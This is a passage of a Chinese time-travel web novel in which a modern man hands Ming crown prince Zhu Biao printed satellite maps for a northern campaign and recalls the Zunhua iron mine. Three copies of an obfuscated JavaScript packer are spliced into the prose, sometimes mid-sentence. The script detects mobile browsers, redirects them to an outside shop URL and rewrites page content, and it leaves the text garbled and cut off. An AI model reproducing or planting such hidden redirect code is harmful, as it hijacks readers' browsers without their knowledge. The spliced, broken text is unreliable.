其实朱安宁认识的最大的人物应该是他老爹才对…… “什么大人物,也就是给太子献献策,传传话而已。” “呼……这已经很了不起了啊……明年北征,伍哥如果你也能上战场,立点功,那承个爵,你不就能如你爹的愿,光宗耀祖了么。” 送下来的朱安宁,随口说道。 却让朱标眉头一皱。 “明年北征?” 看见朱标眉头皱起来,朱安宁也是知道糟了。 他是记得洪武十三年就要北征的,这次北征可是大获全胜,把元人杀得屁滚尿流那种。 但是……好像现在朝堂应该还没有消息吧。 自己这算不算是透露天机…… 不会被雷劈吧。 “哎,我随口胡说的,距离第二次北征不是好多年了么,这陛下也该准备下一次北征了吧,要是再等,那些元人又该缓过来了。” 这番说辞倒也是还说得通。 朱标的眉头也是舒缓了一些,只当是朱安宁料事如神。 “北征肯定是要的,元人恢复过来,扰边的话,边民可就难过了。” “是的,这些蛮子一旦又恢复了元气,指不定又要来我们的地界打秋风,烧杀抢掠!”朱安宁轻哼了一声。 “打秋风我们这边应对也是极其麻烦,他们来去如风,北边不少地界我们都没有详细的舆图,要和熟悉地形的他们周旋确实是有些难过,每次都只能靠斥候和探子去慢慢开路。” 朱标说的是实话,他这番话语,更多只是感叹而已。 古代舆图,即是地图,这东西就以古人的测 绘能力,那是能画个大概就算不错了…… 至于地广人稀的内蒙古大草原那边……那是直接就是大手一画……就拉倒。 标注的几个标志性地界,也是我标了,你们好好找吧,就大概是这个方向的那种。 舆图? 朱安宁听着这话,也是皱起了眉头。 对哦,打仗是要地图的。 自己看现代的军情室什么的看多了,脑子还没转换过来。 这古代没有定位,没卫星,地图就全靠手绘,能准确就怪了。 但是…… 他可是有地图的啊。 在准备房车游的时候,他就已经下载好了离线地图,甚至说电脑里面也存了一份。 繁华地界的地图,现在不说有没有用,单单是那些错综复杂的道路和城市,就非常不适合拿出来。 但是,内蒙古那一大圈的地图……真就是他稍作修改,就可以献上去啦。 有些地方这几百年过去了,肯定不一样了。 但是总归也比手绘的那些舆图,要靠谱点吧。 更别说他的地图,还标注了各种山河湖泊,这才是重要的。 一念至此。 朱安宁是兴奋得跳了起来。 奶奶的,北伐带上爷的高端地图,捕鱼儿海?不就是贝尔湖么?这还不爽打啊。 朱标那是有些莫名其妙。 但是还未等朱标发问,朱安宁一阵风似地冲回来房车里,撂下了一句:“伍大哥,你等一小会,我有宝贝要给你看!” 然后哐一声,房门关上,只留下一脸懵的朱标。 不多时,他听到了嘚嘚的声音。 那正是打印机工作的响声。 房门很快又打开。 朱安宁拿着彩印出来的A4纸跳下了车。 满脸的笑容。 对于这种洁白到有些变态的纸张,朱标已经见怪不怪,毕竟那些农事的书籍,也是这些纸张。 但是当朱安宁展开那纸的时候,朱标,还是震惊了。 “舆图?!” “对!正是舆图,呃……我曾经去过漠北,这图便是我那时所用的舆图。” 朱标懒得问朱安宁为什么会有舆图。 他震惊的是,这精细的程度,还有描绘得无比醒目的山河湖泊。 要知道,朱安宁打印的可是专业的卫星地图,能不好看么…… 为了避免问到城市道路一类的乱七八糟的难以解释的事情,他刚才直接就用软件划掉了那些散落在内蒙古的城镇,然后只打印了一小部分而已。 “安宁小弟!这!这可了不得啊!”朱标咋舌道:“但是……这些灰色的地方是怎么回事……还有这些文字,怎么如此奇怪。” 第一百一十八章 唐山不止有烧烤 奇怪……奇怪就对了…… 仓促之下,朱安宁只来得及涂掉了那些城镇,散落在地图各处的简体字……一时半会,他还没来得及去除。 而且这就是随便截的贝尔湖那一带的地图而已。 真的地图这么大,他哪来得及给朱标全打出来。 但是饶是如此,朱标也是一眼就看出了这图的价值。 “安宁小弟,这可是舆图啊!虽然看起来只是一角,但是如此详尽的舆图!!!” 这一看就是山,这一看就是湖,这一看就是河! 而且尺寸看着就是比自己以前看过的舆图要准确! 只见朱标死死地盯着朱安宁,脸色的阴晴不定。 这种舆图,怎么会掌握在一般人手里!这种级别的舆图,在哪都应该是机密才对,怎么这安宁小弟随手就掏了出来,还跟个没事人似的! 朱安宁也是被朱标盯得心里发毛。 怎么了怎么了? 一副要干我的样子,是图不对? 于是他连忙补了两句。 “河道会改道,湖泊有大小,但是山川分布大部分是没问题的,伍哥你看,这就是捕鱼儿海啊,附近这些地方,都标注得一清二楚。” 其实他也有点拿捏不准,毕竟是现代地图,但是想来想去,山这东西,南方会推平炸掉,但是这北边……应该不会有太大误差吧。 所以才会大胆把图拿出来,想让伍文看看有没有用。 如果自己这些地图,真的能派上用场,大明兴许能胜得更彻底些。 自己这边少点折损,也是极好的啊。 朱标看着皱眉靠在自己身边,想给自己指地图的朱安宁,终是吐了口气……没有选择一些更激进的做法。 “真的是你游历得来的?这相当有用啊!”他缓缓开了口。 “诶?真的能用?”朱安宁咧嘴笑了起来,那是笑得相当真诚。 “有些地方我看不懂,你需要标注得更清楚些……你当真愿意把这图献上去?你就不怕第二天洪武帝直接就跑来你这里逮你么。” “啊?他为什么要逮我?” “这个可是舆图啊……” “舆图怎么了?” “战争,水利……”朱标提醒了两句。 “我……”朱安宁猛地惊醒…… 踏马的,只自己已经有取死之道了吧。 怎么一时脑残掏了地图出来,还是没能把现代的一些惯性改过来…… 自己不会成为史上第一个因为穿越过来献了不该献的东西而被嘎掉的倒霉蛋吧。 他长吸了一口气。 然后勉强让自己镇定了下来。 “我的舆图,就只有北方那点地方,待我整理好肯定是要全部献上去的。我一片拳拳报国之心,洪武帝又怎么做出些过分的事情呢?” 他不知道是在说服朱标还是在说服自己。 历史上的老朱,那是众说纷纭……想下来,有种生死五五开的感觉…… 朱标盯了朱安宁半晌。 让朱安宁莫名地有压力……说洪武道洪武,你怎么表现得这么像洪武……神经病啊…… 直到朱安宁额头都快要冒出细密的汗珠,朱标才缓缓笑了起来。 “也是,洪武帝一向对百姓宽容,你献上去了,他怎么会做过分的事情呢?” 这番话,不知怎么地,就是让朱安宁安心了些。 “不过安宁小弟,你这舆图,应该没问题吧。”他摊开了图,又仔细看了看,指了指那些简体字:“这些……怎么看着似懂非懂……” 松了一口气的朱安宁,那是说话都利索了起来:“这还能有假……对了,那些文字……嗯,看不懂没关系,给我点时间,我标注好就行。” “还有,安宁小弟,你这舆图,应该不止这么点吧……” “那当然。” “剩下的呢。” “得给我些时间。” “好,这可不是什么小事,切莫说出去,就算是我那两个弟弟也不能。”朱标郑重地说道。 先前朱安宁就已经回过味来了,这舆图,放在古代,基本等同于核武器…… 能测绘出精确的地形,这可是了不得的事情…… “好好,那过几日你有空过来,我再把北边那边的舆图给整理好。” “如果处处都能有这一角那般详尽……我大明军定然能战无不胜啊!” 呃,这伍文,口气又大起来了。 有gps的小美,一样被各种拖鞋哥揍……不能说真的开了图就无敌吧…… 不过他已经逐渐习惯了朱标的口气,所以倒也没有多在意。 朱标哪知道朱安宁心里的想法,他现在只想把这舆图立马拿回去给老朱看。 今天被揍什么的,在这舆图面前,都是小事一桩,反正那两个敢对自己出手的人,肯定是要去见陈友谅的了。 孰轻孰重,朱标还是拎得清的。 只见他把桌面的茶一饮而尽,然后站了起来:“安宁小弟,这兹事体大,我需要立马呈上去给……呃,给太子过目,这边先走一步了。” “啊……就直接给太子了啊……” “这必须要呈上去,北伐在即了!” 这下轮到朱安宁不淡定了。 他一下就站了起来。 然后又缓缓地坐下了去…… 我去,历史真的变了……从最开始,这里的情况就不对头,比如刘伯温还健在……比如现在才洪武十二就说要北伐了? “这是能说出来的么……伍大哥。” “安宁小弟,你应该分的清轻重,这次北伐,说不定还要仰仗你的舆图呢。” 朱标看着缓缓坐下的朱安宁,知道他是被北伐已定的消息惊到了。 “会不会太仓促,我们的粮草够么……这两年各地旱灾连连,收成应该不太好吧。” 朱安宁是真的紧张了,不同于前些日子和老伍头的各种口嗨,键政起来没完没了,什么都敢乱说,什么小美代理人,小英的搅屎棍,都说了一通。 这次他是切实有一种参与到了王朝兴衰大事件中的感觉…… 紧张,兴奋,却又带点不安。 “将将够,但是如果能有舆图的正确路径,那是一定够。”朱标自信地开了口。 战争的准备一直是他来主导的,这个大明没有谁比他更懂现在的准备情况,就是老朱来了也不行。 “真就不存多些粮?兵马未动,粮草先行啊。” 朱安宁还是有些担心。 他对历史的偏移,其实还是有些莫名的恐惧。 他惧怕连锁反应带来一些不可控的后果,倘若自己失去了对未来的预判,那种不安的感觉,会飙升。 而且,倘若真的是自己的几次莽撞举动,带来了什么不好的后果,他朱安宁岂不是就成了历史的罪人?! 所以他才担心。 这份担忧的情绪,没有逃过朱标的眼睛。 只见大明太子爷,淡淡地笑了笑:“安宁小弟,倘若你什么都准备好了,说不定,意味着,对方也是什么都准备好了呀。” “说是这么说……” “据探子回报和林那边,聚集起来的元人部队已经越来越多了,这一仗若是不打,如何对边民交代,难道要等到他们被屠戮了再出兵?这样就算是打赢了,又有何意义?” 朱标说得斩钉截铁。 朱安宁也是一时间被这气势震慑住。 只见朱标扣了扣桌子,又继续开了口。 “我们敢把大部分仓中的粮拿出来,打这一仗,就是做好了至少能把对面赶跑的把握,其次,粮仓中的粮食清点过,保我大明半年无忧是可以的,并不是你想的我们举国的兵粮都压上去,那是自杀。” 不自觉地,朱标也开始给朱安宁解释这些事务,此时的他,已经把朱安宁视作自己东宫的一员。 只见朱标还未停下。 “而且,你的新粮也很是重要,这一季如果能成功,下一季至少就可以在应天府推广开来,顺利的话,再下一季就可以推到整个江南地区,这完全是办得到的事情。届时,粮荒将得到极大的缓解。” “等下,我这新粮还没种出来,你们就已经想这么多了?” “怎么?你是对你的新粮没信心?” 朱标挑了挑眉。 把朱安宁是说得心慌慌。 “你们的计划里,有没有想过新粮的储存问题!” “嗯?难不成这新粮的储存和稻和麦不一样?” “当然不一样……亩产高的番薯和土豆,通风透气,也就仅能储存个把月,当然如果是冬天,能存更久。亩产要低些的玉米,倒是方便,晒干了放许久都没事。”朱安宁赶紧解释了一番,就怕东宫这群人太过乐观,自信放光芒,以为自己新粮很牛逼就把全部家当压上去搜哈,那乐子就大了…… 没想到朱标一点慌的样子都没有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378722|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯,那就需要地主和佃农们对这几种作物的种子情况进行调整……军屯那边就简单许多,总体来说,虽然麻烦,但是也不是做不到。” “没问题?” “能有什么问题,好啦,时候不早了,我先回去把这舆图交予太子先,安宁小弟,我先走一步。” 朱标站了起来,走向了院门。 连黑眼圈都掩盖不住他的喜悦。 北边的舆图。 这绝对是大收获。 至于朱安宁说的新粮储存问题,其实并不是不能解决。 看着消失在自己视线范围内的朱标,朱安宁疲惫地坐回了自己的位置上,坐得很慢。 因为他还是晕。 此时朱棣在一边蹦了出来,他是过来喝水的…… 朱安宁本身就是有点恍惚的状态,被这突然出现的朱棣一吓,那是直接就骂出了声。 “要死啊,走路没声音的……” “朱哥……我就是过来喝个水而已……”被骂了一句的朱棣,多少有点委屈,水杯拿到一半,喝也不是,不喝也不是。 “行行行,喝你的水……”朱安宁恢复了瘫下的姿势,突然又开了口:“对了,你大哥是不是读书很厉害啊……” “嗯?”朱棣正在喝着水,怎么也没想到朱安宁会问这种问题,想了半天才缓缓回答道:“算……算是吧。” 大儒都夸自己大哥,而 且是真心实意地夸,大家伙也觉得大哥是厉害的……所以,他读书很厉害……没毛病。 朱棣给了自己一个逻辑闭环。 “呼,看来你大哥,在东宫,不是什么小卡拉米啊。” “朱哥,小卡拉米是什么意思……” “啧,别什么都问我,自己要琢磨琢磨,要学会独立思考,知道么!我乏了,回房休息下,你们也歇会吧,刚才打架这么卖力,没受伤把……” “我们这边受伤的就只有大哥和朱哥你了……” “……” 好吧……被蓝玉打晕很丢人么! 不丢人……吧…… 憋不出个屁的朱安宁,接不下话,便就转身进了车里。 然后关上车门,半躺到了生活区那边的沙发上。 “呼……今天这一天,怎么感觉比我穿越这么多天发生的事情还要多啊……真是离谱……” 他自言自语着。 一片混乱的大脑,开始尝试组织思绪。 矿有了,成梁管过矿,让他减缓一点产量,能匹配自己做肥的速度就行,这个时代石膏拿来糊墙实在是太浪费了,自己绝对不做这生意。那接下来……这李三江同学,也是要继续去收集尿了。 头一批肥料做出来先放着,等到自己永乐庄的田地有了足够的产出,打响这个广告后再卖予周边,这样最划算,这件事情晚些得和伍文通通气,毕竟东宫有股份,自己只是ceo,真的大股东还得是看东宫。 然后,今天就要开始把内蒙古西南那片地图给弄出来并且修改好交给伍文,让他快些给到边军。 毕竟按他的说法北伐在即,这才是第一优先级的事情。 院里的那些作物,再过些时候就能成熟了……本来自己是没那么急的,现在按伍文说的规划,那明年就要推广到江南去……那自己这边收获后要立马种下第二季才行…… 地呢?! 我靠,永乐庄现在的地基本都用来种水稻了。 这个扯淡了,得找个时候找点渠道再买点地,方便下季种新粮,要是说等永乐庄现在的水稻收成了再种,时间上绝对来不及,毕竟这次的水稻播种本来就晚…… 哇,要想的事情怎么一下就多起来了。 自己又不是皇帝! 神经病啊!怎么突然就日理万机了。 恼火的朱安宁坐了起来。 电脑屏幕他刚才忘关了,离线地图挂在那里,他随手点了点。 看见的是南京往上的那一片。 “哎,这些图用不了……不说会不会被老朱砍头,就说这城市密度,我全涂灰,那就等于没地图……这些地方地形的变化也是最大的,用不了哎……”他在车里感叹着,鼠标却刚好移到了唐山那里。 嘿嘿,唐山……那里的烧烤…… 朱安宁莫名想到了那边的特产,然后笑容很快又敛去。 “我草,什么烧烤!唐山!铁矿!!!”他又惊叫了起来。 这是今天,他的第N次大叫。 第一百一十九章 挖矿啊 等下,还有攀枝花,鞍山! 朱安宁第一次因为自己高中没有选修地理而感到捉急…… 能记住我国三大铁集群已经是他的极限…… 他满头冒汗地划了几分钟,最后,终于是找到了攀枝花和鞍山。 然后,他盯着地图,噎了半晌,一句话都说不出来。 攀枝花……现在那个地方应该还是鸟不拉屎吧……就算挖出来了,怎么运是个问题,蜀道难啊。 至于鞍山那地,就算是以他那贫瘠到有些令人心痛的战争常识来看,这地方……怎么看也不像是能和平发育的地界。 唯一的选择还是最开始他鹰之一手点中的唐山。 而且唐山在历史上确实就是明中期开始正式大量开采的。 幸好还有唐山的铁矿可以安全利用。 他一拍大腿,很是兴奋。 任何朝代打仗和发育都是靠资源去堆砌的。 这铁矿的重要性不言而喻。 唯一的问题是…… 这现在,唐山产矿的地……叫什么…… 还有,该怎么告诉伍文他们…… 麻的,要是能把那澳大—罪人流放地—利亚给开个传送门就好了,那鬼地方,一铲子下去都是铁矿,还是富铁矿…… 不像自己这边,除了贫铁矿就是超贫铁矿—和石头没什么区别那种…… 唐山那边的矿他记得是古代就能开采的品级相对较高,能直接入高炉的类型。 至于南京附近的那些矿……他知道有,但是,以他堪比小鲜肉们的地理知识,究竟在哪里呢?好不好挖呢?基本就是两眼一抹黑…… “书到用时方恨少……草……”朱安宁怒骂了两声以前的自己,多少有点郁闷。 不过他还是把包括北平到唐山那一块的地图给打印了出来,实在不行,到时慢慢去找? 毕竟充足的铁矿对现在这个时间节点的朝代发展来说,可太重要了。 随手把地图踹到袖子里,朱安宁走下了车,想透透气,顺便一会再看看……能不能想起点东西……乱七八糟的b站视频看了不少,他印象中是看过中国铁矿史的……但是,也就是个印象而已。 越想朱安宁是越气,什么一穿越过来就能左右王朝兴衰,那都瞎瘠薄扯蛋。 单一个耕田挖矿,都已经是极高难度了好么。 他躺到了自己的位置边上,没想到那朱棣还在这里喝着水。 “你还在这歇啊?”朱安宁也是才看到猫在那里的人,余光看到是朱棣后,他也没有特别惊讶。 “朱哥,这不是该干的活都干完了么,刚才一顿干架,现在骨头都要散架了,还不让我歇歇啊……” “其他人呢?” “回屋了呗……那季廌把您的话本给润色了一番,正在讲给他们听。” “牛逼……不会西游记就这么出来了吧。” “牛……逼?” “感叹词感叹词,哎。”朱安宁是笑了笑,对比起方才和朱标聊的内容,以及刚才自己想的铁矿的事情,这西游记突然就好像没这么重要了。 身子前倾的朱安宁正想去拿自己的茶杯,却也没注意,袖子里的地图就这么甩了出来。 恰好,就落到了朱棣的身前。 朱棣顺势就捡了起来,还没等朱安宁阻止,他就径直看了起来。 才第一眼,他就变了脸色。 “舆图!!!” 我靠,怎么一个两个眼睛都这么犀利啊……朱安宁在心里骂了两句娘,方才才答应了朱标不可透露舆图的事情,而且还隐瞒了,就说自己也就只有北方那边的舆图,现在……呃…… 朱棣的脸色变得很是严肃,第二眼他就看出了这是北平啊……这不就是北平么!这轮廓……还有香山! 不对,那些方方正正的是城墙还是道路……北平有这么宽的城区??? 还有,那边不是永平和蓟州么……怎么这标注和划线如此奇怪? 要知道北平,也就是顺天府,可是他朱老四的封地啊,他手里也是有舆图的! 但是,精细度,远不如这图,只是这图的各种标注和划线,那是奇怪得很……他看不懂。 所以朱棣猛地抬起了头。 看向了一脸无奈的朱安宁。 “我游历过那么多地方,有张舆图,也很正常吧。”朱安宁试图狡辩,小燕同志是地主孩子,应该不懂那么多东西吧……他只能寄希望于此。 “不正常……”没想到朱棣……那是直接就否定了朱安宁的说法。 “好吧……这是,嗯……我用来寻铁矿的图,此类舆图,你哥也是知道的,未来总是要献上去的,你不必多虑……”他打了个哈哈,一句话里基本都是真的,但是,略微有点修饰,肮脏的成年人的说话艺术。 “大哥也知道?那就没事了。”朱棣的脸色马上就缓和了下来……只要大哥知道,那就毫无问题。 但是他没有简单地把图还回给朱安宁,而是继续看了下去:“铁矿?顺天一带的矿,不就是沙坡峪那边么,元人都挖了好些年了。” 朱棣那是说得相当随意,这又不是什么机密的事情,沙坡峪铁矿, 十三世纪就已经开挖的矿,还算有名。 他作为未来的燕王,那这点事情他还是会了解的。 毕竟自己属地的铁矿,那是可以用来造武器的啊。 盐铁在任何朝代都是大事。 而老朱最初的藩王政策又极其牛掰,你说那是画地而治的皇帝都不为过。 所以像朱棣这种本来就很有能力的藩王,对他自己的封地那还是相当了解的。 “等下!你怎么知道的!!!”这随口一言,在朱安宁脑中,直接是炸出了不少回忆。 沙坡峪!这名字他绝对听过!以前刷B站的时候听过! 而朱安宁的话语,也是把朱棣给问懵了。 对哦,自己明牌的身份是地主家的傻儿子,那自己是怎么知道这些事情的呢? 朱棣挠了挠头,直接给出了最无赖的答案。 “大哥闲聊时说的。” 他也没有说谎,关于他封地的事项,确实有很多都是朱标交代给他的…… “你大哥真是……莫不是什么太子少师什么之类的大员吧……” 朱安宁对那伍文,也是突然就敬畏了起来,能左右太子,而且好像事无巨细,又知道很多东西…… “朱哥……少师是韩国公……不是我大哥……” “哦哦……那你哥究竟是什么官职啊。” “呃,大哥从未提过,兴许……真的就是无品级吧。” “算了算了,还是说回那个沙坡峪,你指一指告诉我究竟在哪里!” “我看看……”朱棣看着那地图,沉思了起来,毕竟他确实是看得有些别扭,最后花了许久,才指了指某个山头下的位置。 “这?就这?你确定?” “应该是,朱哥,你这舆图,着实是有点奇怪,大概就是这里吧。” 朱棣点了点地图,最后确定了一遍。 朱安宁连忙凑了过去,认真看了起来。 “唐山……嗯,真就是唐山,这是遵化……遵化啊……”朱安宁鬼打墙似地开始不断重复遵化这个地名。 连朱棣都忍不住皱起了眉头。 “朱哥?” 没想到朱安宁却完全没有理会他。 他脑中的记忆开始复苏。 穿越前看的乱七八糟的视频终于起了作用。 “遵化铁冶!!!是遵化铁冶!!!大矿!可以直接入高炉的品级!”他突然大喊了起来,脸庞涨得通红。 永乐年间开始启用,刀剑皆由遵化铁冶锻造,启用时间最长的铁冶! 他一把抱住朱棣摇晃了起来。 “就是这个,就是这个!” 由于朱安宁喊得过于激动,朱棣只听清了铁冶这几个字。 然后就被晃了个七荤八素。 “朱哥,朱哥……等一下,你是说这地还有其他矿?” 只见朱安宁一把举起了地图,哈哈大笑了起来。 “这地,都是矿!” “当真?” “我什么时候说过假话!” “你前几日说要做饭,结果还是鸡蛋面,算不算假话。” “咳……大事上我什么时候说过假话!” “您怎么知道那地还有矿。” “咳,我师傅告诉我的,他在那挖到过足以直接进炉里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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怪不得这小子这么激动,原来想的是火铳和火炮,在如今这个朝代,这些武器并不神秘,特别是元末大战,许多百姓都见过这些东西,所以朱安宁也不觉得奇怪。 只是他也知道,现在的火铳也好火炮也好,材料是一回事。 设计也是有很大的问题。 而他……并没有很好的解决方案…… 因为他是个正常的穿越者…… 不是那些什么全知全能无敌系统男,或者是兵王…… 他懂个蓝子的枪械构造。 他唯一知道的就是,历史中,明成祖朱棣,派人对火铳和火炮进行过深入的研究,进行了改良,且借助刚才他们聊的遵化铁冶,让火铳和火炮的实用性得到了极大的提升。 毕竟在此之前,所谓的明初火器和宋朝的并无太大差别……你总不能期待元人有什么改良能力吧,小改一把已经是他们尽力了。 那现在自己能先一步开挖这遵化矿,那能不能提前推动火器的革新呢? 朱安宁还是很期待的。 以及,虽然他对什么武器装备的构件,一窍不通,但是他作为农学苦逼耕田狗,还是有点长处的。 那就是,黄色炸药的配方,这个东西,大部分理学专业,都有学过,他也不例外。 谢谢诺贝尔先生…… 这个硝化甘油,实在是太好做了…… 虽然它很危险,但是,也很有用,不是么? 朱安宁虽然不懂火器,但是他可以把这个配方制作出来,把点燃的效果展示给会的人看,让他们去看看怎么用,这才是最正确的做法啊。 当然了,在能炼出足够强度的铁管之前,他是不准备那么快试这个配方的…… 炸膛会死人的。 每次想到自己科学知识上的疏漏,他就有点脑淤血的感觉。 要是自己有《天工开物》,何至于此! 第一百二十章 开全图打仗,那该有多爽 朱标回宫的速度非常快。 一路人还是有不少路人侧目的。 倒不是我们朱太子有多帅。 而是他的黑眼圈确实有点扎眼。 但是朱标也管不得那么多了。 因为他手里的舆图可是太有价值了。 他必须要快些把这图送到更懂行的人手里,一是需要再次确定这图是否正确,二是,这图怎么用,也需要专业人士来断定。 于是冲回宫的朱标,很快就出现在了朱元璋面前。 而还未等朱标开口。 朱元璋就先一步跑到了他眼前。 那眉头是皱得能夹死人那种。 “标儿!你这眼睛!什么贼人敢对你动手!咱让他用脑袋和刀子比划比划!!!” 呃……那两人是该死,但是现在最重要的不是这件事。 朱标也懒得解释那么多,他直接把身上的舆图拿了出来,摊开到了朱元璋的眼前。 那细致的地形……一下就把朱元璋的目光给吸引了过去。 世人常说,朱元璋手下那是良将无数。 但是也有很多人忽略了,其实老朱的军事才能也是很顶的。 所以他立马就看出了这图的战略意义。 “标儿这是哪的舆图!!!” 他也是马上就不再管他好大儿的黑眼圈。 开始细看起图来。 但是他还是很快又皱起了眉头。 原因很简单…… 他隐约觉得就像是北边的地形,但是这图太过真实,反而让他有点懵。 “父皇,这是朱安宁那边拿过来的,北边的图。” “还真就是北边的……不对,舆图这种东西,为什么朱安宁会有!” 老朱一下就不淡定了。 就算是放到现代,精确的测绘数据,都相当紧要的,更不用说古代了。 “那朱安宁说了,他只有北边的舆图,咱们大明境内的他没有,至于来历,我也没问。” “他怎么会把如此重要的东西交予你。” 朱元璋的眉头依旧是没有舒展开来,他盯着朱标,在等着他的回应。 “我告诉了他,我是东宫的人,能和太子直接说话的那种。” “然后他就给你拿出来了?” “差不多,他说这图,北伐肯定有用。” “你把北伐的事情都告诉他了?!” “嗯,略微透露了些,他好像很惊讶我们会动手,一个劲地问我真的准备好了么……然后就把舆图掏出来了。” “……” 听完朱标的话语,朱元璋沉默了良久,似乎是在思考什么事情。 “来人,把曹国公给我唤来!”他对外吩咐了一句。 然后,又坐回了自己的位置上,又是一阵沉默。 朱标也不急,他也是寻了个位置,坐了下来。 他知道他的老爹应该不仅仅是在思考舆图的事情。 更多的,也许他是在考虑朱安宁。 桌面的茶水还温热,朱标也没有唤人进来服侍,他就这么给自己倒了杯,喝了起来。 毕竟从永乐庄冲回宫里,还是有点累人的,更不用说他先前才和几个刁民大战了几回合……又累又渴,那是再正常不过的事情。 不知过了多久,朱元璋终于又是再次开了口。 “标儿,你年轻,那朱安宁也年轻,你们应该更处得来……你有信心,把他用好么?” 朱元璋说得不算直接。 问题的核心很简单,朱安宁一而再再而三地证明了自己的价值,那真就让他一辈子窝在那个田里乐呵? 不可能,绝对不可能。 所以,着朱安宁,怎么用,谁来用,是个极为重要的问题。 朱元璋的意思就是,他朱标,是否是真的可以和朱安宁打好关系。 “安宁小弟,是个性情中人,又有能力,这样的人,东宫是很喜欢的。” 只见朱标微微一笑,就如同他老爹没有直接问出问题那般。 他也没有直接回答问题。 但是足够了,朱元璋很满意这个答案,只见他点了点头,就没有再纠结这件事情,他继续开始端详那图纸的细节。 朱标也是在一旁,不再做声。 关于朱安宁未来的归属,居然就被这父子俩这么简单的定了下来。 不知道朱安宁知道后会有何感想。 至于那副舆图,朱标是没有兴趣再去细看的。 皇帝八项全能他肯定是没问题。 但是关于军事这一块,他要和老朱比的话,差不多就差了一个蒋公吧。 专业的事交给专业的人来做,这向来是朱标太子的办事之道。 就像他今天安排蓝梁来帮忙管理那石膏矿那般。 时间在这殿中流逝。 没有穿官服,还是穿着常服的李文忠,是急急忙忙地跑了进来。 这个时辰的急召,哪有小事,再花时间换衣裳,才是愚笨。 李文忠进来就是规矩的行礼。 然后转头就看到了太子那乌黑的一圈眼睛…… ”太子……哪来的贼人伤的你!” 朱标一点都 不想解释……而解救他的,正是朱元璋。 朱元璋他听见自己外甥进来,那是眼皮都没抬,就挥了挥手说道:“保儿不必多礼,快上前来看这舆图,你几年前北征过,比咱要对元人那块的地形熟悉得多,你看看这图画得是否有问题。” 他直接交代了叫李文忠来的目的。 下面的朱标依旧是没有说话,他只是对李文忠点头示意。 为什么只叫李文忠,朱标心里敞亮着。 第二次北征,赢了的冯胜,还在外练兵,而且因为私藏驼马的事情,赢了都还没得赏赐……不好叫。 至于输的徐达,目前也不在京中。 看来看去,就这没赢没输的李文忠,是最好的对象。 李文忠也没有继续扭捏,只见他径直就走到了朱元璋的身边,结果不出意外的是,他的目光也瞬间被朱安宁的卫星地图所吸引。 到底是领兵去过实地的人。 他是倒吸了一口凉气。 “这等舆图!!!”激动之下,他甚至把朱元璋挤开了些,想看得更清楚些。 幸好老朱也没有怪罪他的意思,甚至还让了个身位,就由得李文忠这么看了起来。 “保儿,你给咱看清楚,这些山川,湖泊,河流的位置对不对得上。” “上位,容我看清楚些……”李文忠恨不得趴到上面去。 是越看越心惊,也越看越恼火。 直至最后,他狠狠地拍了下自己的大腿。 “这图!要是能早有这图,几年前那次……”他止不住地开了口,却也立马反应过来了,这里是皇宫,是老朱的地界,而老朱也还在自己身边…… 几年前的第二次北征,他率领的那一路,功过得当,表面上朱元璋没有怎么怪罪他。 他自己却是极为难受的。 领兵的人,都想要胜仗,而这功过得当……算是个什么意思嘛…… 这件事情已经压在他心头好多年,都快要成心病了。 当时他不熟悉路况,甚至打到后面,因为对地形实在是不熟悉的原因,那是疑神疑鬼,感觉处处都可能有伏兵,以至于错过了旧路,导致最后找不到湖泊,缺水……所幸他能力还算过关,最后是打了个功过相抵……可惜是自己这边也牺牲了不少将领兵士,那可都是他的袍泽啊,就因为走错了路,一下就送了那么多命,你说他要是不恨,那是不可能的。 “这里有水的啊,原来这里是有湖泊的啊!”他仰天长叹:“这山啊!这看这图画的,根本就是打不了埋伏的地方啊!我怎么之前就看不出来啊!” 朱元璋没有打断李文忠,他就任由他在那发泄。 “保儿,这图没问题?” “上位……这等舆图,已经比我当年手中那张要好上无数了啊……”李文忠还在那感叹:“这图最重要的山形肯定是没问题的,我领兵路过过那些位置……这是何等高超的绘画技艺,怎能把这山的高矮都画得如此逼真……这是神仙看到的画面么?!” “技艺高不高超先不说,就是山川没问题?那湖泊和河流呢。” “湖泊的话,旧舆图上没有标注着么多,所以我也不好确定,河流是没问题的,我们渡河的位置在这图上都能找到大概对应的地方。但是,这舆图应该是一角才对吧,也就是恰好我领兵到过的地方,其他地方的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378724|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舆图呢?如果能把这图补全,我明天就能领兵把那些元人给杀个精光。” 这当然只是李文忠的气话。 朱元璋也不会把他的话当真。 但是,这也从侧面说明了,这图,保真啊! “对啊,标儿,剩下的图呢,怎么能就是这么一小块地方呢。” 经李文忠这么一说,朱元璋也是反应了过来,他连忙开口向在下边已经喝了许久茶水的朱标问道。 “剩下的都在那安宁小弟那里呢,他说剩下的绘制还需要些时日,让我过些时日再去拿。” 朱元璋是知道图的来源的。 李文忠可不知道。 听朱标这么一说,李文忠那是张大了嘴巴。 “这……这朱安宁究竟是什么来头?这等清晰的舆图,我从未见过!他是从哪弄来的?” 